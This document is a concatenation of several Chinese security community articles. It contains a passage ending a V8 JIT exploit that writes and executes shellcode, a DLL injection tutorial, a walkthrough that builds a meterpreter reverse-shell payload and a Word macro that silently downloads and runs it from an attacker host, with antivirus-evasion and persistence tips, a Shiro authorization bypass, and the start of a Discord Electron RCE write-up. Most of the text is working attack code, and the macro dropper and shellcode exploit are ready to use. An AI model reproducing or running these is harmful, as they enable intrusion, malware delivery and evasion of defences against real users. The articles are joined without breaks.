addressOf_opt(double_dict,(o)=>2);
addressOf_opt(double_dict,(o)=>3);
}
function addressOf(obj) {
var x = addressOf_opt(double_dict,(o)=>{o.a = obj});
return [u64_h(x),u64_l(x) - 0x1];
}
然后构造`fakeObject`原语
function fakeObject_opt(dict,f,addr) {
var x = dict.b;
f(dict);
dict.b = addr;
return dict;
}
var obj = {};
var obj_dict = {b:2.2};
for (var i=0;i<0x20000;i++) {
fakeObject_opt(obj_dict,(o)=>1,1.1);
fakeObject_opt(obj_dict,(o)=>2,2.2);
fakeObject_opt(obj_dict,(o)=>3,3.3);
}
function fakeObject(addr_h,addr_l) {
var obj1 = fakeObject_opt(obj_dict,(o)=>{o.b = obj;},p64f(addr_l+0x1,addr_h)).b;
return obj1;
}
在构造fakeObject原语时，在`fakeObject_opt`时，我们没有直接返回`dict.b`而是返回`dict`对象，因为我们在前一句有`dict.b
= addr;`，在与`return`之间没有进行其他逃逸操作，因此直接返回`dict.b`会在`Escape Analyse`阶段折叠掉。
构造好这两个原语以后，就是常规利用了
exp
var buf = new ArrayBuffer(0x8);
var dv = new DataView(buf);
function p64f(value1,value2) {
dv.setUint32(0,value1,true);
dv.setUint32(0x4,value2,true);
return dv.getFloat64(0,true);
}
function u64_l(value) {
dv.setFloat64(0,value,true);
return dv.getUint32(0,true);
}
function u64_h(value) {
dv.setFloat64(0,value,true);
return dv.getUint32(4,true);
}
function addressOf_opt(dict,f) {
var x = dict.a;
f(dict);
return dict.a;
}
var double_dict = {a:1.1};
for (var i=0;i<0x20000;i++) {
addressOf_opt(double_dict,(o)=>1);
addressOf_opt(double_dict,(o)=>2);
addressOf_opt(double_dict,(o)=>3);
}
function addressOf(obj) {
var x = addressOf_opt(double_dict,(o)=>{o.a = obj});
return [u64_h(x),u64_l(x) - 0x1];
}
function addressOf2_opt(dict,f) {
var x = dict.a2;
f(dict);
return dict.a2;
}
var double_dict2 = {a2:1.1};
for (var i=0;i<0x20000;i++) {
addressOf2_opt(double_dict2,(o)=>1);
addressOf2_opt(double_dict2,(o)=>2);
addressOf2_opt(double_dict2,(o)=>3);
}
function addressOf2(obj) {
var x = addressOf2_opt(double_dict2,(o)=>{o.a2 = obj});
return [u64_h(x),u64_l(x) - 0x1];
}
function fakeObject_opt(dict,f,addr) {
var x = dict.b;
f(dict);
dict.b = addr;
return dict;
}
var obj = {};
var obj_dict = {b:2.2};
for (var i=0;i<0x20000;i++) {
fakeObject_opt(obj_dict,(o)=>1,1.1);
fakeObject_opt(obj_dict,(o)=>2,2.2);
fakeObject_opt(obj_dict,(o)=>3,3.3);
}
function fakeObject(addr_h,addr_l) {
var obj1 = fakeObject_opt(obj_dict,(o)=>{o.b = obj;},p64f(addr_l+0x1,addr_h)).b;
return obj1;
}
const wasmCode = new Uint8Array([0x00,0x61,0x73,0x6D,0x01,0x00,0x00,0x00,0x01,0x85,0x80,0x80,0x80,0x00,0x01,0x60,0x00,0x01,0x7F,0x03,0x82,0x80,0x80,0x80,0x00,0x01,0x00,0x04,0x84,0x80,0x80,0x80,0x00,0x01,0x70,0x00,0x00,0x05,0x83,0x80,0x80,0x80,0x00,0x01,0x00,0x01,0x06,0x81,0x80,0x80,0x80,0x00,0x00,0x07,0x91,0x80,0x80,0x80,0x00,0x02,0x06,0x6D,0x65,0x6D,0x6F,0x72,0x79,0x02,0x00,0x04,0x6D,0x61,0x69,0x6E,0x00,0x00,0x0A,0x8A,0x80,0x80,0x80,0x00,0x01,0x84,0x80,0x80,0x80,0x00,0x00,0x41,0x2A,0x0B]);
const shellcode = new Uint32Array([186,114176,46071808,3087007744,41,2303198479,3091735556,487129090,16777343,608471368,1153910792,4132,2370306048,1208493172,3122936971,16,10936,1208291072,1210334347,50887,565706752,251658240,1015760901,3334948900,1,8632,1208291072,1210334347,181959,565706752,251658240,800606213,795765090,1207986291,1210320009,1210334349,50887,3343384576,194,3913728,84869120]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule);
var func = wasmInstance.exports.main;
var faker = [0.0,1.1,2.2,3.3,4.4,5.5,6.6,7.7,8.8,9.9,10.10,11.11,12.12];
var d = addressOf(faker);
var faker_addr_h = d[0];
var faker_addr_l = d[1];
print('faker_addr='+faker_addr_h.toString(16) + faker_addr_l.toString(16));
d = addressOf2(func);
var wasm_shellcode_ptr_addr_h = d[0];
var wasm_shellcode_ptr_addr_l = d[1] + 0x38;
print('wasm_shellcode_ptr=' + wasm_shellcode_ptr_addr_h.toString(16) + wasm_shellcode_ptr_addr_l.toString(16));
var element_addr_l = faker_addr_l + 0x40;
print('element_addr=' + faker_addr_h.toString(16) + element_addr_l.toString(16));
//fake a ArrayBuffer's Map
faker[0] = p64f(0,0);
faker[1] = p64f(0x0f00000a,0x001900c6);
faker[2] = p64f(0x082003ff,0);
faker[3] = p64f(0,0);
//faker a ArrayBuffer
faker[4] = p64f(element_addr_l+0x1,faker_addr_h); //map
faker[5] = p64f(0,0); //properties
faker[6] = p64f(0,0); //elements
faker[7] = p64f(0,0x100); //length
faker[8] = p64f(wasm_shellcode_ptr_addr_l,wasm_shellcode_ptr_addr_h);
faker[9] = faker[8];
faker[10] = p64f(0x100,0)
faker[11] = p64f(0x4,0);
var arb_ArrayBuffer = fakeObject(faker_addr_h,element_addr_l+0x20);
var adv = new DataView(arb_ArrayBuffer);
d = adv.getFloat64(0,true);
var wasm_shellcode_addr_h = u64_h(d);
var wasm_shellcode_addr_l = u64_l(d) + 0x5f;
print('wasm_shellcode_addr=' + wasm_shellcode_addr_h.toString(16) + wasm_shellcode_addr_l.toString(16));
faker[8] = p64f(wasm_shellcode_addr_l,wasm_shellcode_addr_h);
//替换wasm的shellcode
for (var i=0;i<shellcode.length;i++) {
adv.setUint32(i*4,shellcode[i],true);
}
//执行shellcode
func();
## 0x04 参考
[从一道CTF题零基础学V8漏洞利用](https://www.freebuf.com/vuls/203721.html)
[redundancy elimination reducer in v8 and 34c3 ctf
v9](https://www.dazhuanlan.com/2020/05/25/5ecbaa7260f9f/)
## 0x05 感想
在v8的JIT代码生成过程中，会使用IR来分析程序并且进行优化，v8的IR图使用`sea of
node`思想，其中`checkmaps`节点是用来做`deoptimization`的依据，`checkmaps`节点用于检查对象类型是否符合，如果符合，则直接执行接下来的JIT代码，否则会使用`deoptimization`，以确保类型正确。 | 社区文章 |
# 逆向学习笔记之dll注入
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 概念
DLL注入指的是向运行中的其他进程强制插入特定的DLL文件。从技术细节来说，DLL注入命令其他进程自行调用LoadLibrary()
API，加载用户指定的DLL文件。DLL注入与一般DLL加载的区别在于，加载的目标进程是自身或其他进程。
可以简单理解为把你想执行的代码写在dll文件里，然后注入目标进程执行代码。
## 具体场景
dll的应用场景有很多，比如改善功能与修复bug，消息钩取，API钩取，恶意代码等场景，这里我将dll注入用于黑盒测试，方便理解dll注入的功能。
在一些比较复杂的程序里，特别是一些进行大量代码混淆的程序里，我们静态分析往往是很困难的，动态调试多种不同输入又十分耗时耗力，这种情况下黑盒测试就成了分析函数的好办法。
这里方便理解，我编写了一个特别简单的验证输入的程序：
### main.c：
// clang -c main.c -o main.o
#include <stdio.h>
#include <stdlib.h>
int check(char n);
int main()
{
char string[10];
int answer[4] = {1, 2, 3, 4};
puts("plz input something:");
scanf("%s", string);
int i;
int result = 0;
for (i = 0; i < 4; i++)
{
if (check(string[i]) == answer[i])
{
continue;
}
else
{
result = 1;
break;
}
}
if (result)
{
puts("wrong!");
}
else
{
puts("right");
}
system("pause");
return 0;
}
### check.c:
// clang -c -mllvm -fla check.c -o check.o
int check(char n){
if(n=='a'){
return 3;
}else if(n=='b'){
return 123;
}else if(n=='c'){
return 456;
}else if(n=='d'){
return 789;
}else if(n=='f'){
return 1;
}else if(n=='l'){
return 2;
}else if(n=='g'){
return 4;
}else{
return -1;
}
}
### 链接生成main.exe
clang main.o check.o -o main.exe
通过源码我们可以清晰的看出我们需要输入的字符串为flag，check函数依次验证字符f，l，a，g，返回1,2,3,4，与answer数组做比较后验证成功，输出right。
但是check函数进行了控制流平坦化混淆，我们用ida64打开最后生成的main.exe文件看一下。
### 主函数main：
可以看到主函数逻辑还是非常清晰正确的，我们接下来跟进check函数。
### 验证函数check：
—分割线—-
check函数变得特别长，上面是我随意截的两张图，可以看到由于平坦化的处理，此时的check函数原本的验证字符功能已经很难分析出来，但是我们通过check函数的参数和返回值猜测这就是一个验证字符的函数。
至于具体的功能我们就需要进行黑盒测试，也就是通过dll注入来搞清楚了。
## dll注入
跟exe有个main或者WinMain入口函数一样，DLL也有一个入口函数，就是DllMain。当使用LoadLibrary函数加载DLL时，系统会调用DLL的入口点函数。
函数定义如下：
BOOL WINAPI DllMain(
_In_ HINSTANCE hinstDLL, // 指向自身的句柄
_In_ DWORD fdwReason, // 调用原因
_In_ LPVOID lpvReserved // 隐式加载和显式加载
);
接下来我们编写要注入的dll。
### inject.c:
#include "pch.h"
#include <windows.h>
#include <stdio.h>
typedef int (*FUN)(char);
void printcheck()
{
// 获得基地址
HMODULE baseaddr = GetModuleHandle(NULL);
// 获得check函数地址
FUN check = (FUN)((uintptr_t)baseaddr + 0x16A0);
// printf("%llxn", (uintptr_t)baseaddr);
// 进行黑盒测试
int i;
for (i = 0; i < 256; i++)
{
printf("(%d, %d)n", i, check(i));
}
}
BOOL WINAPI DllMain(_In_ HINSTANCE hinstDLL, _In_ DWORD fdwReason, _In_ LPVOID lpvReserved)
{
puts("infect success!!");
printcheck();
return TRUE;
}
我这里是用vs2019编译的release版本x64程序。
当要注入dll被目标进程成功加载后，会调用DllMain，首先输出提示信息，然后调用printcheck函数。
在printcheck函数中，首先调用GetModuleHandle函数返回本模块的句柄，其实就是我们熟知的默认加载地址0x400000。
然后加上函数偏移，获得check函数的地址。函数偏移可以在ida的汇编窗口中查看：
最后就是一个256次循环对check函数进行黑盒测试。
### 注入
在网上下载dll注入工具进行注入，我用的是[Xenos](https://github.com/DarthTon/Xenos/releases)，这里附上GitHub链接。
可以看到注入后的结果：
我们可以获得一张check函数的传入参数，返回值的映射表，往下翻即可找到返回1,2,3,4所对应的输入：
前面的数字为正确字符flag对应的ASCII码。
至此，我们就通过dll注入实现了对check验证函数的黑盒测试，帮助我们快速的分析清楚了check函数的功能。
### 验证结果
我们重新运行程序，输入flag查看输出结果：
可以看到验证通过，输出right。
## 原理
实现dll注入的方法有很多，比如创建远程线程，使用注册表，消息钩取，替换原dll等。
这里简单介绍一下最常用的方法，通过创建远程线程，即使用CreateRemoteThread函数对运行中的进程注入dll。
大致的流程如下：
### 获取目标进程句柄
HANDLE hProcess = NULL;
//使用dwPID进程id获取目标进程句柄（然后控制进程）
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID);
### 将dll写入目标进程分配的内存中
HANDLE hProcess;
LPVOID pRemoteBuf = NULL;
DWORD dwBufSize;
// 在目标进程内存中分配dwBufSize大小的内存
pRemoteBuf = VirtualAllocEx(hProcess, NULL, dwBufSize, MEM_COMMIT, PAGE_READWRITE);//返回值为分配所得缓冲区的地址（目标进程内存地址）
// 将dll写入分配的内存中
WriteProcessMemory(hProcess, pRemoteBuf, (LPVOID)szDllPath, dwBufSize, NULL);
### 获取LoadLibraryW() API的地址
HMODULE hMod = NULL;
hMod = GetModuleHandle(L"kernel32.dll");
LPTHREAD_START_ROUTINE pThreadProc;
pThreadProc = (LPTHREAD_START_ROUTINE)GetProcAddress(hMod, "LoadLibraryW");
### 在进程中运行LoadLibraryW线程
HANDLE hProcess = NULL, hThread = NULL;
// 在进程中运行LoadLibraryW线程
hThread = CreateRemoteThread(hProcess, NULL, 0, pThreadProc, pRemoteBuf, 0, NULL);
WaitForSingleObject(hThread, INFINITE); //等待hThread事件执行完毕
通常情况下利用好工具就可以实现我们想要的dll注入，不过学习原理能够帮助我们理解，同时一些重要的函数也是逆向学习过程中一定要积累的。
## 参考：
《逆向工程核心原理》书籍 | 社区文章 |
# 0x00 环境:
攻击机：unbuntu metasploit
靶机：windows 10
Word（能开启宏的版本均可）
SimpleHTTPServer（上传可执行文件以供下载，或者上传到www.upload.ee或其他网站再下载也可）
# 0x01 msfvenom生成木马文件
#msfvenom -p windows/meterpreter/reverse_tcp lhost=10.101.112.222 lport=4144 -a x86 -f exe > /var/tmp/Twe1ve.exe
生成exe格式文件到指定的/var/tmp/目录下
# 0x02 开启SimpleHTTPServer
#cd /var/tmp
#python -m SimpleHTTPServer 8000
到/var/tmp下在8000开启HTTP服务，可直接访问并下载<http://10.101.112.222:8000/Twe1ve.exe>
# 0x03 监听
#msfconsloe
#use exploit/multi/handler
#set payload windows/meterpreter/reverse_tcp
#set LHOST 10.101.112.222
#set LPORT 4144
#exploit
# 0x04 制作静默宏
新建一份.docx文档
相信对office宏有过研究的朋友应该都知道，旧版 office
word的文件名后缀为doc，新版ofiice的word文件名后缀为docx，包含宏的文档后缀为docm。微软并不允许包含宏的word文档被命名为docx格式。那么某些AV会不会根据后缀初步判断文件是否恶意的呢？所以我现在用docx来搞这个
添加开发者工具到菜单栏：文件->选项->自定义功能区->主选项卡->开发者工具，到开发工具选项下打开并创建宏
[tips1]宏的位置要选全局（当前位置的话后面无法保存为docx文件）、也就是所有的活动模板和文档。这个是重点，后面会用到。
Private Declare PtrSafe Function pznHypDNww _
Lib _
"urlmon" _
Alias _
"URLDownloadToFileA" _
(ByVal jVwSfubsfjIw As Long, ByVal uoGDZwUbWil As String, _
ByVal AVWhqlOexRkfTAI As String, _
ByVal JHMxrycpoEILCc As Long, ByVal rkTBDYBFT As Long) _
As Long
Private Declare PtrSafe Function DoIT Lib "shell32.dll" _
Alias "ShellExecuteA" (ByVal eyMzmMjiKrJvzYzKEWTqMl As Long, ByVal dYlBQm As String, _
ByVal ZjGBfhNinvlQZZXdA As String, ByVal HOtFFUYcTsHAk As String, ByVal RUpRVk As String, _
ByVal gPdCCemybuZxPpPbU As Long) As Long
Private Sub Document_Close()
End Sub
Private Sub Document_Open()
VvXCAiWri
End Sub
Sub nWtd()
Dim otqBShpqzXRvxekDL As String, Bhcdbg As String, QXfvVVlce As String
Bhcdbg = "server.exe[2]"
QXfvVVlce = Environ$("tmp[1]") & "\" & Bhcdbg
otqBShpqzXRvxekDL = "http://10.101.112.200:8000/server.exe[3]"
tEJGRjkFGPoU otqBShpqzXRvxekDL, QXfvVVlce
End Sub
Sub VvXCAiWri()
Dim YmxgfSSuCOrKqNgs As Integer
Dim geXqnJ As String
YmxgfSSuCOrKqNgs = 3
geXqnJ = "osumLoSDznHypDNwwjVwSf"
nWtd
End Sub
Sub tEJGRjkFGPoU(ByVal yNuATc, b As String)
pznHypDNww 0, yNuATc, b, 0, 0
DoIT 0, "open", b, "", vbNullString, vbNormalFocus
End Sub
Private Sub Document_XMLAfterInsert(ByVal NewXMLNode As XMLNode, ByVal InUndoRedo As Boolean)
End Sub
[1]tmp为下载文件到指定目录,这里下载到C:\Windows\Temp，可定义
[2]server.exe为下载回来的exe文件重命名，可自定义
[3]<http://10.101.112.200:8000/server.exe> 为可执行文件下载地址
复制上面这段代码进去到下图指定的"This Document"代码块处
这里需要强调一下、[tips2]代码一定要在Nomal的This Document模块、而不是我们以往使用的Projects的New
Macros。而这一小小细节恰恰是我们能够躲过杀软检测的一个重要步骤，如下图，没有一个杀软能够检测到，假若是写到Projects的New
Macros，查杀结果基本是全飘红的
开启宏、却不在New Macros写入对应宏代码~
保存->关闭宏页面->主页面再一次保存
tips：直接生成的该文件是一份空文件，需要填充一些内容才能发送（嵌入到一些正常word文档中更佳）
# 0x05 实施攻击
打开刚刚填充完内容及代码的word
没有任何提示、成功上线
# 0x06 遇到的一些坑
制作word的过程中由于一些操作失误，导致需要调试。每次打开word文档都会跳出调试窗口异或是无法正常保存.vba文件，清理word缓存即可，将如下脚本写入.bat格式文件中
@echo off
color 07
@ ECHO -------------------------------------------------------------------------------- @ ECHO 打开WORD文档出错提示：
@ ECHO -------------------------------------------------------------------------------- @ ECHO Microsoft Office Word 遇到问题需要关闭。我们对此引起的不便表示抱歉。您正在处理的信息有
可能丢失。Microsoft Office Word 可以尝试为您恢复。
@ ECHO -------------------------------------------------------------------------------- @ ECHO 系统询问是否要发送错误报告，不论选择哪一个，循环重启Word，重复出现相同警告对话框。之
后出现“安全模式启动WORD”，点确定，出现的WORD空白。
@ ECHO -------------------------------------------------------------------------------- echo 注意：请先关闭所有Word文档程序，按任意键开始修复......
@ ECHO -------------------------------------------------------------------------------- pause>nul
del /f /s /q "%userprofile%\local settings\temp\*.*"
del /f /s /q "%appdata%\microsoft\Templates\*.dot"
del /f /s /q "%appdata%\microsoft\Word\Startup\*.dot"
start winword
color 07
@ ECHO -------------------------------------------------------------------------------- @ ECHO BAT程序执行完毕，请按任意键退出...
@ ECHO -------------------------------------------------------------------------------- pause>nul
上面的填充在This Document中的docx文档[tips3]只能在本地制作并生效
下面换另一种方式、也就是查杀结果基本飘红的方式
稍稍有些不同：格式需要更改为doc，制作宏的位置也需要更改为当前文件，填充VBA代码的地方不同，代码也不尽相同。
在对方宏没有开启的情况下。需要对方点击"启用内容"
Sub AutoOpen()
Dim xHttp: Set xHttp = CreateObject("Microsoft.XMLHTTP")
Dim bStrm: Set bStrm = CreateObject("Adodb.Stream")
xHttp.Open "GET", "http://10.101.112.222:8000/server.exe", False
xHttp.Send
With bStrm
.Type = 1
.Open
.Write xHttp.responseBody
.savetofile "server.exe", 2
End With
Shell ("server.exe")
End Sub
查杀结果：
# 0x07 总结
两种方式，一个是doc文件名后缀、一个是docx文件后缀，杀软对它们的检测力度完全不同。固然，杀软对doc检测力度较大，但docx类型的宏文件（应该算宏文件吗？？？）相较doc类型的宏文件还是有它的缺陷所在，且非常严重，相信有些同学也注意到上面的三个小tips：它的缺陷在于tips3，这让它看起来很鸡肋，但是事实真的是这样吗？
[tips1]宏的位置要选全局
[tips2]代码一定要在Nomal的This Document模块
[tips3]只能在本地制作并生效
在[tips1]中，为什么一定要强调宏的位置要选全局？我们一旦创建了一个全局的宏，其他的word文档打开的时候也会调用我们创建的这个全局的宏，那么在我们有足够权限下的情况下，在目标机器上创建这样一个docx文件（全部杀软无感），再把它扔到管理员不常关顾的某个小角落。
所以，这个作为权限维持的一个方法也未尝不可。
有图有真相:右边这个是我netsh高级防火墙命令.docx是原来我自己电脑上的，在我生成一个上面的恶意docx之后，运行这个正常的docx文档也能上线 | 社区文章 |
Apache
Shiro的CVE-2020-11989修补补丁依旧存在缺陷，由于shiro和spring在处理url中仍然存在差别，通过构造特殊的HTTP请求，可以再次绕过授权，访问未授权的信息。
**影响范围**
Apache Shiro < 1.6.0
Spring 框架中只使用 Shiro 鉴权
**漏洞复现**
配置如下
@Bean
ShiroFilterFactoryBean shiroFilterFactoryBean(){
ShiroFilterFactoryBean bean = new ShiroFilterFactoryBean();
bean.setSecurityManager(securityManager());
bean.setLoginUrl("/login");
bean.setSuccessUrl("/index");
bean.setUnauthorizedUrl("/unauthorizedurl");
Map<String, String> map = new LinkedHashMap<>();
map.put("/doLogin/", "anon");
map.put("/admin/*", "authc");
bean.setFilterChainDefinitionMap(map);
return bean;
}
@GetMapping("/admin/{name}")
public String admin(@PathVariable String name) {
return "admin page";
}
@GetMapping("/login")
public String login() {
return "please login!";
}
此漏洞关键还是在于shiro对URI的处理与Spring对URI处理的不同。
下面进行调试分析：
shiro处理URI如下所示：
经过对URI进行解码再去除分号，所以我们传入一个带编码的URI可以得到如下结果：
/admin/%3bpage
此处因为/admin/没有匹配到具体资源路径，所以通过过滤器到达Spring的处理逻辑。
而Spring的处理逻辑如下：
往下调试，这里得到的URI为解码前的原始URI：
之后在decodeAndCleanUriString方法里对URI进行相关处理。
注意这里Spring的处理逻辑为先去判断URI中是否存在分号，因为是编码过后的URI，所以未能直接识别出分号，所以index为-1，所以未进入if分支，从而仍然返回输入的带编码的URI。
接下来再进行对URI的解码。得到URI如下图：
之后进行匹配从而获取相应资源。
**漏洞修复**
添加一个一个InvalidRequestFilter类，该类从全局上对分号，反斜杠和非ASCII字符进行了过滤。(他急了他急了) | 社区文章 |
### 0x01
[题目地址](https://command-executor.hackme.inndy.tw/index.php)
首先打开页面，发现导航栏中有几个选项。每个都点了一下之后，发现其用处。
* `Man`：用来列出相关命令的文档
url：`index.php?func=man`
* `Tar Tester`：用来测试上传的tar文件
url：`index.php?func=untar`
上传文件`1.tar`测试
这里的`tar -tvf`并不会将文件解压到某个位置，所以没有什么可以利用的点。
* `Cmd Exec`：用来执行命令并返回结果
url：`index.php?func=cmd`
例如`ls`
也能执行其它一些命令但是有限制，例如`whoami`就不会被运行。
这里猜测这个功能做了白名单进行限制，这里没有源码，所以也认为没有可以用的点。
* `List files`：列文件目录
url:`index.php?func=ls`
例如当前目录
其中存在一个`cat-flag.png`很引人注目。接着又翻了翻其它的目录，其中`/`情况如下。
`/`目中存在一个`flag`,并且还有个`flag-reader`二进制程序，还启用了`s`权限，这样就能感觉的出来前面的`cat-flag.png`应该一个幌子。
功能就是上面这些。其实这个时候结合当前目录文件和功能的url已经可以做出一个推断：即调用功能的页面可能是以一个文件包含的形式。这样那么大概形式就应该是`include($x.'.php');`。
因而这里利用`php://filter`进行流式读取。
func=php://filter/read=convert.base64-encode/resource=index
func=php://filter/read=convert.base64-encode/resource=ls
func=php://filter/read=convert.base64-encode/resource=cmd
func=php://filter/read=convert.base64-encode/resource=man
func=php://filter/read=convert.base64-encode/resource=untar
这样就得到了5个功能页面的源码（包括index.php）。
其中`man.php|ls.php|untar.php`都没有可以利用的点，`cmd.php`和预期的那样是做了个白名单。其中`cmd.php`的白名单如下。
这个地方可以使用`cat flag`查看是不是有什么提示之类的，虽然很大可能性就是个幌子。
果然什么都没有。那么就看到`index.php`的源码。
...
function fuck($msg) {
header('Content-Type: text/plain');
echo $msg;
exit;
}
$black_list = [
'\/flag', '\(\)\s*\{\s*:;\s*\};'
];
function waf($a) {
global $black_list;
if(is_array($a)) {
foreach($a as $key => $val) {
waf($key);
waf($val);
}
} else {
foreach($black_list as $b) {
if(preg_match("/$b/", $a) === 1) {
fuck("$b detected! exit now.");
}
}
}
}
waf($_SERVER);
waf($_GET);
waf($_POST);
function execute($cmd, $shell='bash') {
system(sprintf('%s -c %s', $shell, escapeshellarg($cmd)));
}
foreach($_SERVER as $key => $val) {
if(substr($key, 0, 5) === 'HTTP_') {
putenv("$key=$val");
}
}
$page = '';
if(isset($_GET['func'])) {
$page = $_GET['func'];
if(strstr($page, '..') !== false) {
$page = '';
}
}
if($page && strlen($page) > 0) {
try {
include("$page.php");
} catch (Exception $e) {
}
}
function render_default() { ?>
其中`$black_list`禁用了`/flag`和`\(\)\s*\{\s*:;\s*\};`，第一个好理解，把第二个做个简化处理变成`() { :;
}`。如果熟悉`CVE
2014-6271`的话，其实看到`putenv`就能反应过来是个破壳漏洞利用。加上这里的黑名单提示和之前的`cmd`中允许执行`env`命令也能够推断出这个漏洞。（[关于破壳漏洞](https://coolshell.cn/articles/11973.html)）
先读取个`/etc/passwd`测试。
这里也可以先读取`flag-reader.c`，看看是不是执行个命令就完事了。
flag-reader.c
#include <unistd.h>
#include <syscall.h>
#include <fcntl.h>
#include <string.h>
int main(int argc, char *argv[])
{
char buff[4096], rnd[16], val[16];
if(syscall(SYS_getrandom, &rnd, sizeof(rnd), 0) != sizeof(rnd)) {
write(1, "Not enough random\n", 18);
}
setuid(1337);
seteuid(1337);
alarm(1);
write(1, &rnd, sizeof(rnd));
read(0, &val, sizeof(val));
if(memcmp(rnd, val, sizeof(rnd)) == 0) {
int fd = open(argv[1], O_RDONLY);
if(fd > 0) {
int s = read(fd, buff, 1024);
if(s > 0) {
write(1, buff, s);
}
close(fd);
} else {
write(1, "Can not open file\n", 18);
}
} else {
write(1, "Wrong response\n", 16);
}
}
这里的`alarm`已经说明只能在一秒之内输出转变为输入才能去读取`/flag`这个文件。因而还是反弹shell回来处理为妙。
关于`flag-reader.c`的绕过，就只需要找个可以写文件的目录，写入输出再读作输入就能解决。
这里的`/tmp`是不可读的。
找到`/var/tmp`是可以写入文件的。
payload:
./flag-reader > /var/tmp/idlefire < /var/tmp/idlefire /flag
这样这道题就结束了。
### 0x02 One's Storm
1. 利用文件包含读取源码
2. 分析源码找出漏洞
3. 利用漏洞获取shell
4. 利用重定向绕过检测程序 | 社区文章 |
# 如何利用三个漏洞组合达成Discord RCE漏洞
|
##### 译文声明
本文是翻译文章
原文地址：<https://mksben.l0.cm/2020/10/discord-desktop-rce.html>
译文仅供参考，具体内容表达以及含义原文为准。
## Discord桌面应用RCE漏洞
几个月之前，我挖掘出了Discord的一个RCE漏洞，并向他们的src报告了这个漏洞。
这次我找到的RCE漏洞比较有趣，因为这个漏洞是通过组合多个漏洞实现的。在本文中，我会分享该漏洞的挖掘细节。
注：Discord是一款专为社区设计的免费网络实时通话软件与数字发行平台，主要面向游戏玩家、教育人士及商业人士，用户之间可以在软体的聊天频道通过信息、图片、视频和音频进行互动。
## 为什么我选择Discord作为我的目标
一直以来，我对寻找基于Electron框架开发的应用程序（以下简称为Electron应用）的漏洞非常感兴趣。因此我会寻找有漏洞挖掘奖励计划的Electron应用作为我的目标，而这次我找到了Discord。另外，我也是Discord的用户，我也想检查一下这个应用程序是不是安全的。
注：Electron（原名为Atom
Shell）是GitHub开发的一个开源软件框架。它允许使用Node.js（作为后端）和Chromium（作为前端）完成桌面GUI应用程序的开发
## 我找到的漏洞
我这次一个发现了三个漏洞，并将他们组合在一起达成了一个RCE漏洞
1. contextisolation默认关闭缺陷
2. iframe embeds中的XSS漏洞
3. 功能禁用限制的绕过(CVE-2020-15174)
我将会一一解释这三个漏洞。
## 漏洞一：contextisolation默认关闭缺陷
当我对Electron应用进行测试时，我总会在第一时间检查BrowserWindow
API的选项值，这个API用于创建和控制浏览器窗口。通过检查它的选项值，我可以判断在我拥有renderer上任意JS代码执行能力的情况下，能不能达成RCE利用条件。
Discord的Electron应用并不是开源项目，但是Electron的JS代码会以asar格式保存在本地，因此我可以提取并阅读它。
在主窗口中，它的选项值如下所示
const mainWindowOptions = {
title: 'Discord',
backgroundColor: getBackgroundColor(),
width: DEFAULT_WIDTH,
height: DEFAULT_HEIGHT,
minWidth: MIN_WIDTH,
minHeight: MIN_HEIGHT,
transparent: false,
frame: false,
resizable: true,
show: isVisible,
webPreferences: {
blinkFeatures: 'EnumerateDevices,AudioOutputDevices',
nodeIntegration: false,
preload: _path2.default.join(__dirname, 'mainScreenPreload.js'),
nativeWindowOpen: true,
enableRemoteModule: false,
spellcheck: true
}
};
值得关注的值是nodeIntegration和contextIsolation。从上面的代码看来，我们可以发现nodeIntegration选项的值为false，以及contextIsolation的值也被设置为false(默认值)。
如果nodeIntegration被设置为true，一个web页面的js可以通过调用require()轻松使用Node.js的特性。举个例子，通过下面的代码来弹出windows计算器
<script>
require('child_process').exec('calc');
</script>
我们的目标启用了nodeIntegration，因此我们不能直接调用require()来使用Node.js的特性。
不过，我们仍然可以通过其他方法来使用Node.js的特性。显然，contextIsolation是一个关键的选项，它被设置为false。实际上，如果你想要消除你的app出现RCE漏洞的可能性，你就不应该设置该值为false。
在contextIsolation值设置为false的时候，一个普通web页面上的js代码可以通过preload的方式(预加载)影响到Electron内部renderer上的js代码执行。举个例子，如果你在一个web页面的js代码中重写了`Array.prototype.join`，这是一个js内置函数。当不在这个web页面内的js代码需要调用`join`时，实际上调用的时被重写后的函数。
这种特性是比较危险的，因为使得Electron可以通过重写函数的方法，在忽略nodeIntegration的情况下允许外部的js代码应用Node.js的特性。这使得RCE有可能在nodeIntegration被设置为false的情况下实现利用。
contextIsolation引入了上下文分离的特性，web页面的js代码和页面外的js代码之间是相互隔离的，代码执行效果不会互相影响。这个特性能够有效降低出现RCE漏洞的可能性，但这一次的Discor上被禁用了。
因为我发现contextIsolation被禁用了，因此我开始寻找一个可以通过影响web页面外的js来执行任意代码的地方。
通常，我在尝试编写Electron应用RCE的POC时，我首先会尝试使用Electron在renderer上的内部js代码来实现RCE。因为Electron在renderer内部的js代码可以在任意Electron应用上执行。
因此我只需要简单的重用一下之前编写过的RCE即可。
然而，在当前版本的Electron中，或者说在当前配置下，之前的POC没有办法成功运行。因此，这次我决定换一个地方来preload我们的攻击脚本。
我在尝试proload脚本时，我发现Discord暴露一个关键的函数，`DiscordNative.nativeModules.requireModule('MODULE-NAME')`，这个函数使得我们引入模块到web页面中。
在这里，我不能直接引入能够直接触发RCE的模块，比如`child_process`模块，但我发现通过重载js内置模块可以影响到引入模块的运行，从而达成RCE。
下面是PoC。`getGPUDriverVersion`函数在devTools中的模块`discord_utils`被定义，当PoC调用`getGPUDriverVersions`时,我们发现windows计算器成功被弹出。显然，我们通过`RegExp.prototype`和`Array.prototype.join`成功重载函数。
RegExp.prototype.test=function(){
return false;
}
Array.prototype.join=function(){
return "calc";
}
DiscordNative.nativeModules.requireModule('discord_utils').getGPUDriverVersions();
`getGPUDriverVersions`函数尝试使用`execa`库运行某个程序时，如下所示
module.exports.getGPUDriverVersions = async () => {
if (process.platform !== 'win32') {
return {};
}
const result = {};
const nvidiaSmiPath = `${process.env['ProgramW6432']}/NVIDIA Corporation/NVSMI/nvidia-smi.exe`;
try {
result.nvidia = parseNvidiaSmiOutput(await execa(nvidiaSmiPath, []));
} catch (e) {
result.nvidia = {error: e.toString()};
}
return result;
};
从上面的代码看来，通常`execa`尝试运行应用程序”nvidia-smi.exe”，也就是`nvidiaSmipath`的值。但是，通过我们上面所说的重载`RegExp.prototype.test`和`Array.prototype.join`,将`nvidiaSmiPath`替换成`calc`，最终成功弹出计算器。
## 漏洞二：iframe embeds中的XSS漏洞
